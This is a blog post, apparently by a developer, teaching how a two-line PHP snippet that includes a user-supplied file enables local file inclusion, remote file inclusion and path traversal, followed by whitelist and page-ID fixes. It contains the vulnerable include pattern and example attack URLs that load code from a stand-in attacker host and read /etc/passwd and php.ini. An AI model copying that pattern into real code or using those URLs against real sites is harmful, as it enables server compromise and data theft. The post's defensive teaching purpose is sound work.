G’day guys!
Following on from my last post where we looked at Newline Injection, today I wanted to review a couple of other injection-style vulnerabilities in what might be an innocent-looking little snippet. I’ll be using PHP in this example, but these same vulnerabilities could exist in any web application, regardless of the language being used. Imagine a blog, online store or other simple-ish application with urls looking something like:
https://my-site.com/?page=home.php
https://my-site.com/?page=about.php
https://my-site.com/?page=post-2024-01-02-03.php
Internally, we could have an index.php
file with something similar to:
<?php
$page = $_GET['page'];
include($page);
I imagine that most of you are gasping in horror at the blatantly obvious secuity hole here. Or if you’re starting out in your career, or haven’t specifically read up on injection vulnerabilities, the security hole may not be so obvious. I can certainly forgive you if that’s the case, and I’ll admit that I almost certainly would have written something like this in my younger years. For the more experienced reader though, I’ll ask a different question - how many security vulnerabilities can you spot here? Spoiler alert: There are 3 vulnerabilities in 2 lines of code.
Local File Injection
Since the vulnerable code is including any file specified in the GET parameter, a malicious user could specify any local file on the server and have its contents executed by the PHP interpreter (or returned as output). For example, imagine an XML database sitting in the same directory as the index file. An attacker could gain access to said database just by loading https://my-site.com/?page=database.xml
in their browser.
As for executing malicious code - chances are there isn’t any malicious code already on the remote server. But if the application included an upload file feature, a user could upload malicious-code.php
and then execute it by navigating to https://my-site.com/?page=malicious-code.php
.
Remote File Injection
Okay - let’s say that there isn’t an upload feature, and the attacker really wanted to run some malicious code on the server. Another thing they could try is to:
- Upload some malicious code to a server that they conrol
- Navigate to
https://my-site.com/?page=http://attackers-site.com/malicious-code.php
When I tried this in a local XAMPP installation, I got:
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in <path-to-ini-file>
So thankfully the default config prevents remote file execution by default, but that may not always be the case, and it’s probably a good idea to assume that the config has this enabled, and to protect against Remote File Injection in the application logic as well.
Path Traversal
There’s one last vulnerability here - Path Traversal. Imagine navigating to some urls like the following:
https://my-site.com/?page=../../etc/php.ini
- a relative path, to obtain the PHP configurationhttp://my-site.com/?page=/etc/passwd
- an absolute path, to obtain information about user accounts on the server
This exploit basically allows the attacker to navigate to files outside of the web server’s directory (eg: htdocs) to either view or execute files that they normally should not be able to access.
Prevention?
There are a few ways to deal with all three of these vulnerabilities, but at their core, I think that all of them (along with almost all other injection attacks) can be prevented by following the maxim of never trust user input. That is, if we come back to our snippet:
<?php
$page = $_GET['page'];
include($page);
Since a GET parameter, POST parameter, route parameter, HTTP header, etc can all be tampered with by the user, we should treat them as suspicious by default. Some options for workarounds might be:
1) Store a whitelist of permitted files, and validate the user-submitted input (i.e - the GET param) against the whitelist before including it. Eg:
<?php
$page = $_GET['page];
if (!is_in_whitelist($page))
die('Wicked! Tricksy! False!');
include($page);
2) Or even better, instead of accepting a filename in the GET param, accept a page ID, and look up the filename in a lookup table or database based on the provided page ID. Eg:
<?php
$page_id = $_GET['page_id'];
$page = get_page_by_id($page_id);
if (!$page)
die('Wicked! Tricksy! False!');
include($page);
Useful reading
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion
- https://owasp.org/www-community/attacks/Path_Traversal
And that’s about it! Have I missed any vulnerabilities here, or do you have any other advice for prevention? Let me know in the comments.
Catch ya!